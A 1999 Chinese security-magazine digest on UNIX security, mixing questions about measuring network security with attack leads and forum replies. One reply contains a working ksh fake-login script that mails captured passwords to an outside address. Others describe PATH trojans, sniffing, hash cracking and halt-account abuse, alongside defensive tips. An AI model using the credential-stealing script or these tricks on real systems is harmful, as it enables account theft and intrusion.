绿盟安全月刊->第2期->安全文摘 UNIX系统安全(二)

日期：1999-10-15

1. 当你为用户精心设计了一系列安全措施后，用户总会觉着有点“玄”。他凭什么为这样的网络就是“安全”的呢？是根据设计方案的厚度？还是他为此所花的钱数？到底如何评价一个网络的安全性呢？曾听说过这样的定义：“网络的安全程度定义为该网络被攻击成功的可能性”，听起来倒是蛮有哲理味儿的，可如何实际操作呢？计算机系统的安全程度可以用“橘皮书”的定义来评价，网络系统是不是也可以搞出个“橘皮书”什么的呢？
2. 当你左一层右一层地对信息加密时，心里也许认为层数越多就越安全。但事实是不是真的这样呢？当你又加了一层密时，到底增加了多少的安全性呢？
3. “喏，你看....”，你指着自己的设计对用户说“即使有人突破了第一道防线，我们还有第二道防线呢。即使第二道也被突破，我们仍然有第三道、第四....”。可怜的用户望着得意洋洋的你，心里不禁嘀咕：“干嘛搞这么复杂....真的非这样不可吗？我可是只是想保证两个星期的安全性啊。”
4. 为了防止大灰狼进来，小猪们把门窗都横七竖八地钉了个死死的。可是大灰狼会不会从别处进来呢？比如说....壁炉的烟囱！聪明的小猪们在壁炉里烧起了一锅开水....。小猪们是聪明的，我们的系统管理员们呢？
5. 计算机系统的安全性依靠一种“访问控制模型”来进行。有没有可能建立一个“网络安全模型”并对它进行形式化的证明，以便从理论上深入开展网络安全的研究？这样就可以摆脱目前的被动地“打补丁”的做法。

    网络入侵和网络安全是一对矛盾，没有Hacker高手就不会有好的安全系统。这听起来有些悲哀，可惜是事实。为了提高我们的安全防范能力，我看是不是先培养一批Hacker出来（中国的Hacker太少了）。在此提供几条线索供Hacker们参考：

1. 用过Solaris的snoop命令吗？ 用它可以“听到”同一共享网段内的其他用户的口令（当然包括超级用户的）。
   
2. sendmail 5.5.9版本以前有个debug命令， 是个强有力的远程调试工具，可惜也是一个大bug。
   
3. 冒充路由器可以看到所有往来的信息，RIP协议没有身份认证的部分，虽然OSPF协议中有关于身份认证的部分，但很少有人用到。
   
4. NFS、NIS都是不太安全的。
   
5. 1988年的WORM网络病毒最厉害的地方并不是传说中的利用 sendmail的缺陷，而是对看来毫无破绽的finger的攻击！
   
6. 很多系统管理员为了关机方便而设立了halt之类的特殊用户， 怎样利用这一点来攻击呢？
   
7. 侵入了一个系统之后，如何“打扫战场”让管理员看不出来？ 如何潜伏下来以致于管理员除了重新安装系统，别无清除的办法呢？

   ....
   这些东西都不是我凭空想象的，国外的Hacker们就是这么做的（他们还有很多更厉害的招数呢）。很多东西我也不知道该怎么做，Hacker们自己努力吧。


1-----
:     1).用过Solaris的snoop命令吗？ 用它可以“听到”同一共享网段内的其他用户:  的口令（当然包括超级用户的）。
:     3).冒充路由器可以看到所有往来的信息，RIP协议没有身份认证的部分，虽然:  OSPF协议中有关于身份认证的部分，但很少有人用到。

    这两个是取得口令的最简洁之法, 呵呵. -------         我也有一简洁之法:

                把下面的shell 命令用 ksh 运行

clear
stty ignbrk
echo "login:\c"
read logname
stty -echo
echo "password:\c"
read passwd
print "\nLogin incorrect\n"
print $logname $passwd | mail cxterm.bbs@jet.ncic.ac.cn
stty 0
stty echo
exit
-----
    嗯，是一种方法，但必须你能访问对方的机器才能偷到口令。常用的方法
还有在自己能用的目录里放上叫 "ls" "grep" 之类的程序, 希望 root能不小心运行到她们, 一旦获得 root 权限, 呵呵, 下面的我就不用说了. 所以 root 的PATH里不应当有 . (当前目录).

    更彻底的方法就是根据passwd文件里面的密文算口令的明文, 我曾经编过
一个算passwd的程序, 能在 Pentium 100机器上用半个小时左右的时间算出长度<=5 && 只包含字母和数字 的口令. 因此选口令的时候要注意. 用jack14既可，攻击得当的话6位不含大写字母的pass也能在一月内破掉。

    这一方法要求必须取得对方含有密文的passwd文件(有shadow passwd的机器上需要取得/etc/shadow), 所以要注意机器上passwd的安全性 (不要试图取消用户对该文件的读权限, 所有的用户都需要能读该文件).
    
-----
  解决的办法， 可以用firewall屏蔽网段。
  也可以使用SSL(secure socket layber)替代原有的socket明文数据传输。


-----
:      若干机器上都是用户可以直接su halt, 然后就成为超级用户了, :-)
:      有的机器你可以用rlogin hostname -l halt 对方的机器就被shutdown了,:  哈哈.

我用su halt 然后就shutdown了. 有n个文件没有存盘.